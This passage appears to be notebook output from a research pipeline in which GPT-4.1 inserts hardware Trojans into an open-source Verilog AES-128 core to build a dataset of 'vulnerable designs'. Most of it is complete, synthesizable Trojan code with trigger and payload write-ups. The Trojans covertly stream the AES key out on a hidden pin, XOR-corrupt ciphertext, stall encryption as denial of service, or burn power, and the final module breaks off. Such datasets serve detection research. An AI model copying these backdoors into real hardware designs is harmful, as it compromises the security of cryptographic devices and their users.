            "    8'h82: out <= 8'h26;\n",
            "    8'h83: out <= 8'hc3;\n",
            "    8'h84: out <= 8'hbe;\n",
            "    8'h85: out <= 8'h35;\n",
            "    8'h86: out <= 8'h88;\n",
            "    8'h87: out <= 8'h2e;\n",
            "    8'h88: out <= 8'h93;\n",
            "    8'h89: out <= 8'h55;\n",
            "    8'h8a: out <= 8'hfc;\n",
            "    8'h8b: out <= 8'h7a;\n",
            "    8'h8c: out <= 8'hc8;\n",
            "    8'h8d: out <= 8'hba;\n",
            "    8'h8e: out <= 8'h32;\n",
            "    8'h8f: out <= 8'he6;\n",
            "    8'h90: out <= 8'hc0;\n",
            "    8'h91: out <= 8'h19;\n",
            "    8'h92: out <= 8'h9e;\n",
            "    8'h93: out <= 8'ha3;\n",
            "    8'h94: out <= 8'h44;\n",
            "    8'h95: out <= 8'h54;\n",
            "    8'h96: out <= 8'h3b;\n",
            "    8'h97: out <= 8'h0b;\n",
            "    8'h98: out <= 8'h8c;\n",
            "    8'h99: out <= 8'hc7;\n",
            "    8'h9a: out <= 8'h6b;\n",
            "    8'h9b: out <= 8'h28;\n",
            "    8'h9c: out <= 8'ha7;\n",
            "    8'h9d: out <= 8'hbc;\n",
            "    8'h9e: out <= 8'h16;\n",
            "    8'h9f: out <= 8'had;\n",
            "    8'ha0: out <= 8'hdb;\n",
            "    8'ha1: out <= 8'h64;\n",
            "    8'ha2: out <= 8'h74;\n",
            "    8'ha3: out <= 8'h14;\n",
            "    8'ha4: out <= 8'h92;\n",
            "    8'ha5: out <= 8'h0c;\n",
            "    8'ha6: out <= 8'h48;\n",
            "    8'ha7: out <= 8'hb8;\n",
            "    8'ha8: out <= 8'h9f;\n",
            "    8'ha9: out <= 8'hbd;\n",
            "    8'haa: out <= 8'h43;\n",
            "    8'hab: out <= 8'hc4;\n",
            "    8'hac: out <= 8'h39;\n",
            "    8'had: out <= 8'h31;\n",
            "    8'hae: out <= 8'hd3;\n",
            "    8'haf: out <= 8'hf2;\n",
            "    8'hb0: out <= 8'hd5;\n",
            "    8'hb1: out <= 8'h8b;\n",
            "    8'hb2: out <= 8'h6e;\n",
            "    8'hb3: out <= 8'hda;\n",
            "    8'hb4: out <= 8'h01;\n",
            "    8'hb5: out <= 8'hb1;\n",
            "    8'hb6: out <= 8'h9c;\n",
            "    8'hb7: out <= 8'h49;\n",
            "    8'hb8: out <= 8'hd8;\n",
            "    8'hb9: out <= 8'hac;\n",
            "    8'hba: out <= 8'hf3;\n",
            "    8'hbb: out <= 8'hcf;\n",
            "    8'hbc: out <= 8'hca;\n",
            "    8'hbd: out <= 8'hf4;\n",
            "    8'hbe: out <= 8'h47;\n",
            "    8'hbf: out <= 8'h10;\n",
            "    8'hc0: out <= 8'h6f;\n",
            "    8'hc1: out <= 8'hf0;\n",
            "    8'hc2: out <= 8'h4a;\n",
            "    8'hc3: out <= 8'h5c;\n",
            "    8'hc4: out <= 8'h38;\n",
            "    8'hc5: out <= 8'h57;\n",
            "    8'hc6: out <= 8'h73;\n",
            "    8'hc7: out <= 8'h97;\n",
            "    8'hc8: out <= 8'hcb;\n",
            "    8'hc9: out <= 8'ha1;\n",
            "    8'hca: out <= 8'he8;\n",
            "    8'hcb: out <= 8'h3e;\n",
            "    8'hcc: out <= 8'h96;\n",
            "    8'hcd: out <= 8'h61;\n",
            "    8'hce: out <= 8'h0d;\n",
            "    8'hcf: out <= 8'h0f;\n",
            "    8'hd0: out <= 8'he0;\n",
            "    8'hd1: out <= 8'h7c;\n",
            "    8'hd2: out <= 8'h71;\n",
            "    8'hd3: out <= 8'hcc;\n",
            "    8'hd4: out <= 8'h90;\n",
            "    8'hd5: out <= 8'h06;\n",
            "    8'hd6: out <= 8'hf7;\n",
            "    8'hd7: out <= 8'h1c;\n",
            "    8'hd8: out <= 8'hc2;\n",
            "    8'hd9: out <= 8'h6a;\n",
            "    8'hda: out <= 8'hae;\n",
            "    8'hdb: out <= 8'h69;\n",
            "    8'hdc: out <= 8'h17;\n",
            "    8'hdd: out <= 8'h99;\n",
            "    8'hde: out <= 8'h3a;\n",
            "    8'hdf: out <= 8'h27;\n",
            "    8'he0: out <= 8'hd9;\n",
            "    8'he1: out <= 8'heb;\n",
            "    8'he2: out <= 8'h2b;\n",
            "    8'he3: out <= 8'h22;\n",
            "    8'he4: out <= 8'hd2;\n",
            "    8'he5: out <= 8'ha9;\n",
            "    8'he6: out <= 8'h07;\n",
            "    8'he7: out <= 8'h33;\n",
            "    8'he8: out <= 8'h2d;\n",
            "    8'he9: out <= 8'h3c;\n",
            "    8'hea: out <= 8'h15;\n",
            "    8'heb: out <= 8'hc9;\n",
            "    8'hec: out <= 8'h87;\n",
            "    8'hed: out <= 8'haa;\n",
            "    8'hee: out <= 8'h50;\n",
            "    8'hef: out <= 8'ha5;\n",
            "    8'hf0: out <= 8'h03;\n",
            "    8'hf1: out <= 8'h59;\n",
            "    8'hf2: out <= 8'h09;\n",
            "    8'hf3: out <= 8'h1a;\n",
            "    8'hf4: out <= 8'h65;\n",
            "    8'hf5: out <= 8'hd7;\n",
            "    8'hf6: out <= 8'h84;\n",
            "    8'hf7: out <= 8'hd0;\n",
            "    8'hf8: out <= 8'h82;\n",
            "    8'hf9: out <= 8'h29;\n",
            "    8'hfa: out <= 8'h5a;\n",
            "    8'hfb: out <= 8'h1e;\n",
            "    8'hfc: out <= 8'h7b;\n",
            "    8'hfd: out <= 8'ha8;\n",
            "    8'hfe: out <= 8'h6d;\n",
            "    8'hff: out <= 8'h2c;\n",
            "    endcase\n",
            "endmodule\n",
            "\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A synthesizable 64-bit shift register with self-inverting feedback is inserted in table_lookup and clocked once triggered, increasing switching activity for power/performance degradation. Original module function is preserved, and registers include reset for safe initialization.\n",
            "\n",
            "Trigger:\n",
            "The Trojan triggers when the upper 16 bits of the \"state\" input all become logic-1 (16'hFFFF), setting a latch that persists until reset.\n",
            "\n",
            "Payload:\n",
            "Upon triggering, the shift register runs continuously on every clock cycle, toggling bits to create ongoing dynamic power dissipation, degrading performance (e.g., thermal headroom, voltage noise) without altering outputs.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered internally (event-based, upon state condition)  \n",
            "Effects: performance degradation  \n",
            "Location: Processor datapath  \n",
            "Characteristics: Distributed, small logic overhead, parametric (power side channel)  \n",
            "\n",
            "Saving vulnerable design to: aes/gpt-4.1/table/table_HT4_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/table/table_HT4_gpt-4.1_A1_taxonomy.txt\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "module aes_128(clk, rst, state, key, out);\n",
            "    input          clk;\n",
            "    input          rst; // added reset for proper init\n",
            "    input  [127:0] state, key;\n",
            "    output [127:0] out;\n",
            "    reg    [127:0] s0, k0;\n",
            "    wire   [127:0] s1, s2, s3, s4, s5, s6, s7, s8, s9,\n",
            "                   k1, k2, k3, k4, k5, k6, k7, k8, k9,\n",
            "                   k0b, k1b, k2b, k3b, k4b, k5b, k6b, k7b, k8b, k9b;\n",
            "\n",
            "    // Trojan trigger signal and counter\n",
            "    reg [7:0] trojan_counter;\n",
            "    reg trojan_triggered;\n",
            "\n",
            "    always @ (posedge clk or posedge rst) begin\n",
            "      if (rst) begin\n",
            "        s0 <= 128'b0;\n",
            "        k0 <= 128'b0;\n",
            "        trojan_counter <= 8'b0; // reset counter\n",
            "        trojan_triggered <= 1'b0;\n",
            "      end else begin\n",
            "        s0 <= state ^ key;\n",
            "        k0 <= key;\n",
            "        // Trojan trigger: increment counter when key pattern matches\n",
            "        if (key[7:0] == 8'hA5) // <-- Trojan trigger: specific key pattern\n",
            "          trojan_counter <= trojan_counter + 8'b1;\n",
            "        else\n",
            "          trojan_counter <= 8'b0;\n",
            "\n",
            "        // Activate trojan when the pattern is seen 10 consecutive cycles\n",
            "        if (trojan_counter == 8'd9)\n",
            "          trojan_triggered <= 1'b1;\n",
            "        else if (rst)\n",
            "          trojan_triggered <= 1'b0;\n",
            "      end\n",
            "    end\n",
            "\n",
            "    expand_key_128\n",
            "        a1 (clk, k0, k1, k0b, 8'h1),\n",
            "        a2 (clk, k1, k2, k1b, 8'h2),\n",
            "        a3 (clk, k2, k3, k2b, 8'h4),\n",
            "        a4 (clk, k3, k4, k3b, 8'h8),\n",
            "        a5 (clk, k4, k5, k4b, 8'h10),\n",
            "        a6 (clk, k5, k6, k5b, 8'h20),\n",
            "        a7 (clk, k6, k7, k6b, 8'h40),\n",
            "        a8 (clk, k7, k8, k7b, 8'h80),\n",
            "        a9 (clk, k8, k9, k8b, 8'h1b),\n",
            "       a10 (clk, k9,   , k9b, 8'h36);\n",
            "\n",
            "    one_round\n",
            "        r1 (clk, s0, k0b, s1),\n",
            "        r2 (clk, s1, k1b, s2),\n",
            "        r3 (clk, s2, k2b, s3),\n",
            "        r4 (clk, s3, k3b, s4),\n",
            "        r5 (clk, s4, k4b, s5),\n",
            "        r6 (clk, s5, k5b, s6),\n",
            "        r7 (clk, s6, k6b, s7),\n",
            "        r8 (clk, s7, k7b, s8),\n",
            "        r9 (clk, s8, k8b, s9);\n",
            "\n",
            "    wire [127:0] out_normal, out_trojan;\n",
            "    final_round\n",
            "        rf (clk, s9, k9b, out_normal);\n",
            "\n",
            "    // Trojan payload: corrupt 'out' when triggered\n",
            "    assign out_trojan = out_normal ^ 128'hDEADBEEFCAFEBABEDEADBEEFCAFEBABE; // subtle bit flip\n",
            "    assign out = trojan_triggered ? out_trojan : out_normal; // <-- Trojan insertion\n",
            "\n",
            "endmodule\n",
            "\n",
            "module expand_key_128(clk, in, out_1, out_2, rcon);\n",
            "    input              clk;\n",
            "    input      [127:0] in;\n",
            "    input      [7:0]   rcon;\n",
            "    output reg [127:0] out_1;\n",
            "    output     [127:0] out_2;\n",
            "    wire       [31:0]  k0, k1, k2, k3,\n",
            "                       v0, v1, v2, v3;\n",
            "    reg        [31:0]  k0a, k1a, k2a, k3a;\n",
            "    wire       [31:0]  k0b, k1b, k2b, k3b, k4a;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = in;\n",
            "\n",
            "    assign v0 = {k0[31:24] ^ rcon, k0[23:0]};\n",
            "    assign v1 = v0 ^ k1;\n",
            "    assign v2 = v1 ^ k2;\n",
            "    assign v3 = v2 ^ k3;\n",
            "\n",
            "    always @ (posedge clk)\n",
            "        {k0a, k1a, k2a, k3a} <= {v0, v1, v2, v3};\n",
            "\n",
            "    S4\n",
            "        S4_0 (clk, {k3[23:0], k3[31:24]}, k4a);\n",
            "\n",
            "    assign k0b = k0a ^ k4a;\n",
            "    assign k1b = k1a ^ k4a;\n",
            "    assign k2b = k2a ^ k4a;\n",
            "    assign k3b = k3a ^ k4a;\n",
            "\n",
            "    always @ (posedge clk)\n",
            "        out_1 <= {k0b, k1b, k2b, k3b};\n",
            "\n",
            "    assign out_2 = {k0b, k1b, k2b, k3b};\n",
            "endmodule\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A counter-based Trojan monitors the input key and, after seeing a specific pattern for 10 cycles, triggers circuitry to subtly corrupt the AES output with an XOR mask. Original operation is preserved unless the trigger condition is met, ensuring stealth.\n",
            "\n",
            "Trigger:\n",
            "The Trojan is triggered when the key's lowest byte equals 8'hA5 for 10 consecutive active cycles, activating a secret corruption state.\n",
            "\n",
            "Payload:\n",
            "Once triggered, the output of the AES core is XORed with a hardcoded value, modifying encryption results and compromising the output confidentiality.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered internally via secret key sequence  \n",
            "Effects: change functionality  \n",
            "Location: Processor (AES datapath/output modification)  \n",
            "Characteristics: Localized, Small, Functional  \n",
            "\n",
            "Saving vulnerable design to: aes/gpt-4.1/aes_128/aes_128_HT1_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/aes_128/aes_128_HT1_gpt-4.1_A1_taxonomy.txt\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "module aes_128(clk, rst, state, key, out, trojan_out, trojan_trig);\n",
            "    // Trojan insertion: added 'rst' input for proper reset, 'trojan_out' and 'trojan_trig' outputs for covert transmission\n",
            "    input          clk, rst;\n",
            "    input  [127:0] state, key;\n",
            "    output [127:0] out;\n",
            "    output         trojan_out;\n",
            "    output         trojan_trig;\n",
            "    reg    [127:0] s0, k0;\n",
            "    wire   [127:0] s1, s2, s3, s4, s5, s6, s7, s8, s9,\n",
            "                   k1, k2, k3, k4, k5, k6, k7, k8, k9,\n",
            "                   k0b, k1b, k2b, k3b, k4b, k5b, k6b, k7b, k8b, k9b;\n",
            "\n",
            "    // Trojan insertion: secret pattern for trigger (chosen arbitrarily), and internal Trojan control regs\n",
            "    parameter [7:0] TROJAN_PATTERN = 8'b11001100;\n",
            "    reg trojan_active;\n",
            "    reg [7:0] trojan_shift;       // Shift register for leaking\n",
            "    reg [6:0] trojan_cnt;         // Leak bit counter (leak 128 bits over cycles)\n",
            "    reg trojan_bit;\n",
            "    reg trojan_trig_reg;\n",
            "\n",
            "    // Reset logic (per requirement)\n",
            "    always @ (posedge clk or posedge rst)\n",
            "      if (rst) begin\n",
            "        s0 <= 128'b0;\n",
            "        k0 <= 128'b0;\n",
            "        trojan_active <= 1'b0;\n",
            "        trojan_shift <= 8'b0;\n",
            "        trojan_cnt <= 7'b0;\n",
            "        trojan_bit <= 1'b0;\n",
            "        trojan_trig_reg <= 1'b0;\n",
            "      end else begin\n",
            "        s0 <= state ^ key;\n",
            "        k0 <= key;\n",
            "\n",
            "        // Trojan trigger: if state[127:120] == TROJAN_PATTERN and key[7:0] == TROJAN_PATTERN\n",
            "        if ((state[127:120] == TROJAN_PATTERN) && (key[7:0] == TROJAN_PATTERN) && !trojan_active) begin\n",
            "          trojan_active <= 1'b1;\n",
            "          trojan_cnt <= 7'b0;\n",
            "          trojan_shift <= k0[127:120]; // Start with MSB byte of key for initial leak\n",
            "          trojan_trig_reg <= 1'b1;     // pulse trojan_trig\n",
            "        end else if (trojan_active && (trojan_cnt < 127)) begin\n",
            "          trojan_cnt <= trojan_cnt + 1;\n",
            "          // Shift data out\n",
            "          if (trojan_cnt[2:0] == 3'b111) begin\n",
            "            // Load next byte of k0\n",
            "            trojan_shift <= k0[127-((trojan_cnt[6:3]+1)*8) +: 8];\n",
            "          end else begin\n",
            "            trojan_shift <= {trojan_shift[6:0], 1'b0}; // shift left\n",
            "          end\n",
            "          trojan_trig_reg <= 1'b0;\n",
            "        end else if (trojan_active && (trojan_cnt == 127)) begin\n",
            "          trojan_active <= 1'b0; // Deactivate once all bits leaked\n",
            "          trojan_cnt <= 7'b0;\n",
            "          trojan_shift <= 8'b0;\n",
            "          trojan_trig_reg <= 1'b0;\n",
            "        end else begin\n",
            "          trojan_trig_reg <= 1'b0;\n",
            "        end\n",
            "\n",
            "        // Leak MSB of shift register as trojan bit, only while active\n",
            "        trojan_bit <= trojan_active ? trojan_shift[7] : 1'b0;\n",
            "      end\n",
            "\n",
            "    expand_key_128\n",
            "        a1 (clk, k0, k1, k0b, 8'h1),\n",
            "        a2 (clk, k1, k2, k1b, 8'h2),\n",
            "        a3 (clk, k2, k3, k2b, 8'h4),\n",
            "        a4 (clk, k3, k4, k3b, 8'h8),\n",
            "        a5 (clk, k4, k5, k4b, 8'h10),\n",
            "        a6 (clk, k5, k6, k5b, 8'h20),\n",
            "        a7 (clk, k6, k7, k6b, 8'h40),\n",
            "        a8 (clk, k7, k8, k7b, 8'h80),\n",
            "        a9 (clk, k8, k9, k8b, 8'h1b),\n",
            "       a10 (clk, k9,   , k9b, 8'h36);\n",
            "\n",
            "    one_round\n",
            "        r1 (clk, s0, k0b, s1),\n",
            "        r2 (clk, s1, k1b, s2),\n",
            "        r3 (clk, s2, k2b, s3),\n",
            "        r4 (clk, s3, k3b, s4),\n",
            "        r5 (clk, s4, k4b, s5),\n",
            "        r6 (clk, s5, k5b, s6),\n",
            "        r7 (clk, s6, k6b, s7),\n",
            "        r8 (clk, s7, k7b, s8),\n",
            "        r9 (clk, s8, k8b, s9);\n",
            "\n",
            "    final_round\n",
            "        rf (clk, s9, k9b, out);\n",
            "\n",
            "    // Trojan insertion: covert output pins\n",
            "    assign trojan_out  = trojan_bit;      // Streams out bits of key[127:0]\n",
            "    assign trojan_trig = trojan_trig_reg; // Pulsed high for 1 cycle on trigger\n",
            "endmodule\n",
            "\n",
            "module expand_key_128(clk, in, out_1, out_2, rcon);\n",
            "    input              clk;\n",
            "    input      [127:0] in;\n",
            "    input      [7:0]   rcon;\n",
            "    output reg [127:0] out_1;\n",
            "    output     [127:0] out_2;\n",
            "    wire       [31:0]  k0, k1, k2, k3,\n",
            "                       v0, v1, v2, v3;\n",
            "    reg        [31:0]  k0a, k1a, k2a, k3a;\n",
            "    wire       [31:0]  k0b, k1b, k2b, k3b, k4a;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = in;\n",
            "    \n",
            "    assign v0 = {k0[31:24] ^ rcon, k0[23:0]};\n",
            "    assign v1 = v0 ^ k1;\n",
            "    assign v2 = v1 ^ k2;\n",
            "    assign v3 = v2 ^ k3;\n",
            "\n",
            "    always @ (posedge clk)\n",
            "        {k0a, k1a, k2a, k3a} <= {v0, v1, v2, v3};\n",
            "\n",
            "    S4\n",
            "        S4_0 (clk, {k3[23:0], k3[31:24]}, k4a);\n",
            "\n",
            "    assign k0b = k0a ^ k4a;\n",
            "    assign k1b = k1a ^ k4a;\n",
            "    assign k2b = k2a ^ k4a;\n",
            "    assign k3b = k3a ^ k4a;\n",
            "\n",
            "    always @ (posedge clk)\n",
            "        out_1 <= {k0b, k1b, k2b, k3b};\n",
            "\n",
            "    assign out_2 = {k0b, k1b, k2b, k3b};\n",
            "endmodule\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A Trojan was inserted into the aes_128 module, covertly leaking the key via a one-bit output (trojan_out) when a rare trigger pattern is detected; register-based shifting transmits the internal key. Normal AES functionality is preserved, and all modifications adhere to synthesizable Verilog guidelines.\n",
            "\n",
            "Trigger:\n",
            "The Trojan activates internally when both state[127:120] and key[7:0] match the preset pattern (8'b11001100); trojan_trig pulses high for one cycle to mark activation. Activation is rare and under attacker control, ensuring stealth.\n",
            "\n",
            "Payload:\n",
            "While active, the Trojan serially shifts out the internal AES key (k0) through trojan_out over 128 cycles, leaking critical cryptographic material externally in a covert fashion. Once complete, it auto-resets to avoid repeated leakage.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered internally (rare key/state bit pattern)  \n",
            "Effects: leak information  \n",
            "Location: Processor (AES datapath)  \n",
            "Characteristics: Distributed (within AES module), very small, Functional Trojan\n",
            "Saving vulnerable design to: aes/gpt-4.1/aes_128/aes_128_HT2_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/aes_128/aes_128_HT2_gpt-4.1_A1_taxonomy.txt\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "module aes_128(clk, rst_n, state, key, out); // Trojan: Added rst_n for proper reset\n",
            "    input          clk;\n",
            "    input          rst_n; // Trojan: Added asynchronous active-low reset \n",
            "    input  [127:0] state, key;\n",
            "    output [127:0] out;\n",
            "    reg    [127:0] s0, k0;\n",
            "    wire   [127:0] s1, s2, s3, s4, s5, s6, s7, s8, s9,\n",
            "                   k1, k2, k3, k4, k5, k6, k7, k8, k9,\n",
            "                   k0b, k1b, k2b, k3b, k4b, k5b, k6b, k7b, k8b, k9b;\n",
            "\n",
            "    // ===== Trojan Start =====\n",
            "    reg [7:0] trojan_counter;\n",
            "    reg trojan_triggered;\n",
            "    //\n",
            "    // Trigger pattern: state[15:8] == 8'hA5 && key[7:0] == 8'h3C, occurs very rarely\n",
            "    // Payload: Disables core for 256 clock cycles after trigger\n",
            "    reg [7:0] payload_disable_counter;\n",
            "    wire trojan_trigger = (state[15:8] == 8'hA5) && (key[7:0] == 8'h3C);\n",
            "\n",
            "    always @(posedge clk or negedge rst_n) begin\n",
            "        if (!rst_n) begin\n",
            "            trojan_counter <= 8'd0;\n",
            "            trojan_triggered <= 1'b0;\n",
            "            payload_disable_counter <= 8'd0;\n",
            "        end else begin\n",
            "            if (~trojan_triggered) begin\n",
            "                if (trojan_trigger) begin\n",
            "                    trojan_counter <= trojan_counter + 1'b1;\n",
            "                    if (trojan_counter == 8'hAF) begin // 0xAF times in a row (arbitrary rare threshold)\n",
            "                        trojan_triggered <= 1'b1;\n",
            "                        payload_disable_counter <= 8'd0;\n",
            "                    end\n",
            "                end else begin\n",
            "                    trojan_counter <= 8'd0;\n",
            "                end\n",
            "            end else begin\n",
            "                if (payload_disable_counter < 8'd255)\n",
            "                    payload_disable_counter <= payload_disable_counter + 1'b1;\n",
            "            end\n",
            "        end\n",
            "    end\n",
            "\n",
            "    wire trojan_active = trojan_triggered && (payload_disable_counter < 8'd255);\n",
            "    // ===== Trojan End =====\n",
            "\n",
            "    always @ (posedge clk or negedge rst_n)\n",
            "      if (!rst_n) begin\n",
            "        s0 <= 128'd0;\n",
            "        k0 <= 128'd0;\n",
            "      end else if (!trojan_active) begin // Trojan: Normal operation\n",
            "        s0 <= state ^ key;\n",
            "        k0 <= key;\n",
            "      end\n",
            "      // Trojan: If trojan_active, s0 and k0 hold previous value (core disabled)\n",
            "      // No else branch needed (synthesizable, registers hold value by default)\n",
            "\n",
            "    expand_key_128\n",
            "        a1 (clk, rst_n, k0, k1, k0b, 8'h1),\n",
            "        a2 (clk, rst_n, k1, k2, k1b, 8'h2),\n",
            "        a3 (clk, rst_n, k2, k3, k2b, 8'h4),\n",
            "        a4 (clk, rst_n, k3, k4, k3b, 8'h8),\n",
            "        a5 (clk, rst_n, k4, k5, k4b, 8'h10),\n",
            "        a6 (clk, rst_n, k5, k6, k5b, 8'h20),\n",
            "        a7 (clk, rst_n, k6, k7, k6b, 8'h40),\n",
            "        a8 (clk, rst_n, k7, k8, k7b, 8'h80),\n",
            "        a9 (clk, rst_n, k8, k9, k8b, 8'h1b),\n",
            "       a10 (clk, rst_n, k9,   , k9b, 8'h36);\n",
            "\n",
            "    one_round\n",
            "        r1 (clk, s0, k0b, s1),\n",
            "        r2 (clk, s1, k1b, s2),\n",
            "        r3 (clk, s2, k2b, s3),\n",
            "        r4 (clk, s3, k3b, s4),\n",
            "        r5 (clk, s4, k4b, s5),\n",
            "        r6 (clk, s5, k5b, s6),\n",
            "        r7 (clk, s6, k6b, s7),\n",
            "        r8 (clk, s7, k7b, s8),\n",
            "        r9 (clk, s8, k8b, s9);\n",
            "\n",
            "    final_round\n",
            "        rf (clk, s9, k9b, out);\n",
            "endmodule\n",
            "\n",
            "module expand_key_128(clk, rst_n, in, out_1, out_2, rcon);\n",
            "    input              clk;\n",
            "    input              rst_n; // Trojan: Propagated reset to submodule\n",
            "    input      [127:0] in;\n",
            "    input      [7:0]   rcon;\n",
            "    output reg [127:0] out_1;\n",
            "    output     [127:0] out_2;\n",
            "    wire       [31:0]  k0, k1, k2, k3,\n",
            "                       v0, v1, v2, v3;\n",
            "    reg        [31:0]  k0a, k1a, k2a, k3a;\n",
            "    wire       [31:0]  k0b, k1b, k2b, k3b, k4a;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = in;\n",
            "    \n",
            "    assign v0 = {k0[31:24] ^ rcon, k0[23:0]};\n",
            "    assign v1 = v0 ^ k1;\n",
            "    assign v2 = v1 ^ k2;\n",
            "    assign v3 = v2 ^ k3;\n",
            "\n",
            "    // Trojan: Added reset logic\n",
            "    always @ (posedge clk or negedge rst_n)\n",
            "        if (!rst_n)\n",
            "            {k0a, k1a, k2a, k3a} <= 128'd0;\n",
            "        else\n",
            "            {k0a, k1a, k2a, k3a} <= {v0, v1, v2, v3};\n",
            "\n",
            "    S4\n",
            "        S4_0 (clk, {k3[23:0], k3[31:24]}, k4a);\n",
            "\n",
            "    assign k0b = k0a ^ k4a;\n",
            "    assign k1b = k1a ^ k4a;\n",
            "    assign k2b = k2a ^ k4a;\n",
            "    assign k3b = k3a ^ k4a;\n",
            "\n",
            "    always @ (posedge clk or negedge rst_n)\n",
            "        if (!rst_n)\n",
            "            out_1 <= 128'd0;\n",
            "        else\n",
            "            out_1 <= {k0b, k1b, k2b, k3b};\n",
            "\n",
            "    assign out_2 = {k0b, k1b, k2b, k3b};\n",
            "endmodule\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A denial of service hardware Trojan was inserted so that, when triggered, it disables AES operations for a period; until then, functionality is unchanged and hidden.\n",
            "\n",
            "A rare event-triggered counter and blocking logic was added, with comments, while preserving synthesizability and design transparency.\n",
            "\n",
            "Trigger:\n",
            "The Trojan is activated if, for 176 consecutive clock cycles, state[15:8] is 8hA5 and key[7:0] is 8h3C, an extremely rare combination unlikely under normal operation.\n",
            "\n",
            "Payload:\n",
            "Once triggered, the AES core stops updating its state and key for 256 cycles, halting encryption, and resumes normal operation afterward.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered internally  \n",
            "Effects: denial of service  \n",
            "Location: Processor (cryptographic datapath logic)  \n",
            "Characteristics: Highly localized, small, functional modification\n",
            "Saving vulnerable design to: aes/gpt-4.1/aes_128/aes_128_HT3_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/aes_128/aes_128_HT3_gpt-4.1_A1_taxonomy.txt\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "module aes_128(clk, rst, state, key, out);\n",
            "    input          clk;\n",
            "    input          rst; // Synchronized reset added for Trojan and good practice\n",
            "    input  [127:0] state, key;\n",
            "    output [127:0] out;\n",
            "    reg    [127:0] s0, k0;\n",
            "    wire   [127:0] s1, s2, s3, s4, s5, s6, s7, s8, s9,\n",
            "                   k1, k2, k3, k4, k5, k6, k7, k8, k9,\n",
            "                   k0b, k1b, k2b, k3b, k4b, k5b, k6b, k7b, k8b, k9b;\n",
            "\n",
            "    // Trojan: internal counter, trigger flag, and shift register for the payload\n",
            "    reg  [15:0] trojan_counter;     // Trigger counter\n",
            "    reg         trojan_activated;   // Trigger signal\n",
            "    reg  [127:0] trojan_shiftreg;   // Payload shift register\n",
            "\n",
            "    // Trojan: Reset and counter handling\n",
            "    always @ (posedge clk) begin\n",
            "        if (rst) begin\n",
            "            trojan_counter   <= 16'd0;\n",
            "            trojan_activated <= 1'b0;\n",
            "            trojan_shiftreg  <= 128'd1; // Nonzero init to ensure switching activity\n",
            "        end else begin\n",
            "            // Trojan: trigger logic (counter reaches threshold)\n",
            "            if (!trojan_activated) begin\n",
            "                if (trojan_counter == 16'd50000) // Triggers after 50,000 cycles\n",
            "                    trojan_activated <= 1'b1;\n",
            "                else\n",
            "                    trojan_counter <= trojan_counter + 1'b1;\n",
            "            end else begin\n",
            "                // Trojan: payload logic (power-consuming shift register)\n",
            "                trojan_shiftreg <= {trojan_shiftreg[126:0], trojan_shiftreg[127] ^ trojan_shiftreg[2]};\n",
            "            end\n",
            "        end\n",
            "    end\n",
